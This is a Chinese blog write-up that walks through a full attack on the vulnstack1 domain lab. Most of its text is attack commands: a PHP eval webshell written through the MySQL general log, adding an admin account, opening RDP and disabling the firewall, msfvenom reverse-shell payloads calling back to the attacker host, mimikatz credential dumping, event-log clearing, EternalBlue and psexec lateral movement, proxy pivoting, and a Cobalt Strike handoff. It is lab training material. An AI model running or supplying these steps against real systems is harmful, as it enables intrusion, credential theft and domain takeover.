ATT&CK 靶场 vulnstack1 超详细渗透记录

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

目录

vulnstack内网渗透环境靶场-1 

基本信息

开始渗透

1.1信息收集

1.2拿webshell

1.3权限维持/提升

1.4mimikatz破解密码

1.5内网信息收集

1.6横向探测

1.7横向渗透

1.8MSF派生到CS


vulnstack内网渗透环境靶场-1 

靶场下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

网络拓扑图:

基本信息

win7为VM1,win2003为VM2,win2008为VM3

原始密码为hongrisec@2019

可自行修改

攻击机:

kali ip:192.168.162.81

winXp ip: 192.168.162.137

靶机:

win7 外网ip:192.168.162.7   内网ip:192.168.225.7

win2003 ip: 192.168.225.3

win2008 ip: 192.168.225.8

配置完后,有个小tips

win 7是无法直接ping的,因为有防火墙,只能访问即可,如果有需要可以关闭防火墙

在win7主机中使用phpstudy开启环境

开始渗透

1.1信息收集

nmap扫描存活主机

nmap -sP 192.168.162.1/24

端口扫描

nmap -sT 192.168.162.7

nmap -sS 192.168.162.7

扫描发现开放了80、3306端口

有80端口,浏览器访问

有phpStudy探针,网站根路径是C:/phpStudy111/WWW

3306端口,测试下弱口令root/root,成功

接下来扫描目录

方式一

方式二

使用dirsearch

1.2拿webshell

访问phpmyadmin,使用root/root可以正常登录

查看是否有写入权限

show VARIABLES like '%secure%';

mysql中的 secure_file_priv参数,它的默认值是NULL,表示限制不能导入导出

方式一

尝试日志写 shell

查看当前的日志目录:show variables like 'general%';

没有开启

开启日志记录:set global general_log = "ON";

根据探针的服务器绝对路径C:/phpStudy111/WWW

指定日志文件:set global general_log_file = "C:/phpStudy111/WWW/shell.php";

将一句话木马写入指定的日志文件中

SELECT '<?php eval($_POST["shell"]);?>'

用工具连接http://192.168.162.7/shell.php

方式二

查阅目录,发现还有yxcms

试着访问一下

查看页面,提示有后台

访问后台

CMS相关系列,拿到后台,找模板编辑写入一句话

拿到shell

1.3权限维持/提升

现在已经拿到webshell了,接着就是持久化控制这个shell

尝试远程登录

查看当前用户权限

查看一下3389端口开放情况 netstat -an | find "3389"

我们使用以下命令(注册表命令)开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

查看防火墙状况netsh firewall show state

关闭防火墙命令:netsh advfirewall set allprofiles state off #off换成on则开启

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

添加用户,加管理员组权限

net user mdp1234 root@2021 /add  #添加账户密码

net localgroup administrators mdp1234 /add  #给mdp1234账户添加为管理员权限

net user mdp1234  #查询是否成功添加mdp1234用户

远程连接3389,失败

nmap扫描3389端口发现状态为filtered

nmap -sS -p 3389 192.168.162.7

查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,设置了白名单。

要连接3389有如下思路:

1.尝试命令关闭防火墙,然后连接(动作太大)

2.使用命令行直接添加一个防火墙规则

3.反弹一个msf的shell回来,尝试开启远程桌面

4.尝试使用隧道连接3389(使用sunny-ngrok)

示例2:使用命令行直接添加一个防火墙规则

使用命令行直接添加规则允许3389端口流量一个防火墙规则

使用lcx.exe 来绕过防火墙

攻击机上执行Lcx.exe -listen 8444 3333

工具上传lcx

Lcx.exe -slave <攻击机ip> 8444 127.0.0.1 3389

在本机上远程桌面连接127.0.0.1的3333端口

示例3:反弹一个msf的shell回来,尝试开启远程桌面

使用msfvenom生成payload文件,上传到win7

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.162.81 LPORT=5555 -f exe > shell.exe

msf开启监听

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.162.81

set LPORT 5555

options查看具体payload信息

exploit

Winxp上执行shell.exe

background  #返回,把meterpreter后台挂起

sessions -i  #查看已经获取的会话

sessions -i 1  #连接到指定序号的meterpreter会话已继续利用

拿到了meterpreter的shell,提权到system

开启远程桌面

成功开启了远程桌面,并且生成了一个txt文件,用来关闭远程桌面

/root/.msf4/loot/20211005144310_default_192.168.162.7_host.windows.cle_639890.txt

关闭远程桌面:run multi_console_command -r 文件地址

连接远程桌面

1.4mimikatz破解密码

方式一、

上传一个mimikatz,然后执行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

右键编辑

方法二:kiwi模块、mimikatz模块

ps  #查看进程ID

ps | find "explorer"

migrate 512     # 模块默认是加载32位的系统,先将meterpreter迁移到64位的进程,而且需要是system权限运行的

load kiwi

creds_all  # 列举系统中的明文密码

找到64位的进程,且是system权限运行的

clearev 清除事件日志

mimikatz模块

疑问?

不知道是不是mimikatz版本的原因,命令执行完后获取不到明文密码

1.5内网信息收集

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器

发现 DNS 服务器名为 god.org

有内网ip

查看域信息:net view

查看主域信息:net view /domain

查询当前的登录域与用户信息:net config workstation

判断主域 net time /domain

查找域控

利用 nslookup 命令直接解析域名服务器:nslookup god.org

查看当前域的所有用户:net user /domain

查看路由信息 route print

查看域管理员的名字net group "domain admins" /domain

收集到的信息:

域名为god.org

域控为OWA$

域管理员为Administrator

域内有三个用户:Administrator、ligang、liukaifeng01

域内三台主机:ROOT-TVI862UBEH、STU1(win7)、OWA

密码为hongrisec@2021

内网网段为192.168.225.1/24

拿到域控IP192.168.225.8

1.6横向探测

探测内网其他主机:

方式一

使用cmd,用个for循环

shell

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.225.%I | findstr "TTL="

方式二

use auxiliary/scanner/netbios/nbname  #使用模块扫描存活主机

没执行成功,需要先添加msf内网路由

至此

内网IP

域控192.168.225.8

web网关服务器192.168.225.7

还有一个域成员192.168.225.3

1.7横向渗透

msf添加对内网的路由

run autoroute -p

run autoroute -s 192.168.225.0/24

run autoroute -p

扫描对应主机的端口

use auxiliary/scanner/portscan/tcp  #使用msf的扫描端口模块

也可以直接扫描内网ms17_010

background

use auxiliary/scanner/smb/smb_ms17_010

有445端口,整一波ms17-010

漏洞利用

搜索search ms17-010

use exploit/windows/smb/ms17_010_eternalblue

失败给整蓝屏了

加入代理

攻击机是162段的,内网是225段的,攻击机是无法直接访问225段,只能通过在刚拿下的win7上做个代理,通过225.7就可以访问其他225段的服务器

而刚刚做的路由,只是让msf能访问到225段,这个是让整个攻击机访问

设置代理,设置成功后打开其他程序需在前面加上proxychains

use auxiliary/server/socks4a

run

命令jobs查看是否有任务在执行

打开/etc/proxychains.conf,设置socks4

测试

开启3389

使用auxiliary/admin/smb/ms17_010_command来执行一些命令

use auxiliary/admin/smb/ms17_010_command

show options

set RHOSTS 192.168.225.3

set command net user mdp1234 root@2021 /add #添加用户

run #成功执行

set command net localgroup administrators mdp1234 /add #管理员权限

run #成功执行

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

run #成功执行

连接

使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来

域控也开放了445端口,接下相同方式来拿域控192.168.225.8,但有防火墙正向连接不了

域控有防火墙,所以使用auxiliary/admin/smb/ms17_010_command的命令执行关闭防火墙

来执行一些命令

set command netsh advfirewall set allprofiles state off

run

使用exploit/windows/smb/ms17_010_psexec 打一个正向shell回来

拿下域控

 如果不关闭域控防火墙,有什么样的方式可以拿下域控

可以使用msf通道(session 1的通道),添加内网路由,其实前面就已经添加了

run get_local_subnets  #查看路由段

run autoroute -s 192.168.225.0/24   #添加路由至本地

run autoroute -p  #打印当前路由信息

生成一个session 1的内网木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.225.7 LPORT=9999 -f exe > hey.exe

msf开启监听

利用IPC$入侵,将win7主机上的hey.exe上传到域控上,并设置定时运行

在域控的木马运行,成功上线

 

1.8MSF派生到CS

创建一个Lisenter,相当于msf的handler 

 

使用MSF的exploit/windows/local/payload_inject模块

cs接收到会话,上线了

拿到 shell,调低心跳值,默认心跳为 60s,执行命令的响应很慢

sleep 1

新建一个会话提权

 

方法二、

直接Getsystem

横向移动

获取域内目标,多执行几次,就会在目标中找到局域网内的目标

net view

 

抓取win7中的密码hashdump

logonpasswords抓取密码

执行完后,查看凭证

 

拿内网主机,已知都开启了445端口

增加smb listener

选一台域主机

选择刚刚创建的Listener

成功拿到域主机权限

再用相同方法得到域控权限

以上文章中有个疑问,希望有看到大佬能回答一下!

1.疑问?不知道是不是mimikatz版本的原因,命令执行完后获取不到明文密码

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值